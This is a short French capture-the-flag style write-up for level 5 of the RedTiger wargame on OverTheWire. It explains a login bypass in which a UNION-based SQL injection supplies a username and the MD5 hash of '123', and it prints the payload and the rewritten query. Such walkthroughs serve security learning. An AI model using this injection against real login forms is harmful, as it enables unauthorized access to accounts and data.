Adresse de l’épreuve : http://redtiger.labs.overthewire.org/level5.php
Cette épreuve repose sur une mauvaise implémentation (encore une fois). Notre objectif ici est d'outrepasser l'authentification en sachant que le mot de passe est chiffré en utilisant l'algorithme MD5.
Nous imaginons la requête suivante:
select user,password from users WHERE password=MD5($password) and user='$user';
Comme il nous est possible d'injecter des quotes, nous pouvons donc fermer notre clause AND user= et utiliser un union afin que la requête renvoie TRUE.
En effet, si nous insérons 123 dans le champ mot de passe et que nous utilisons le payload suivant dans le champ user:
' union select 'a','202cb962ac59075b964b07152d234b70
Notre requête deviendra :
select user,password from users WHERE password=md5('123') and user='' union select 'a','202cb962ac59075b964b07152d234b70';
La concordance entre md5(123) et l'empreinte MD5 fournis dans l'union est similaire, ce qui nous amène à créer une requête valide renvoyant TRUE.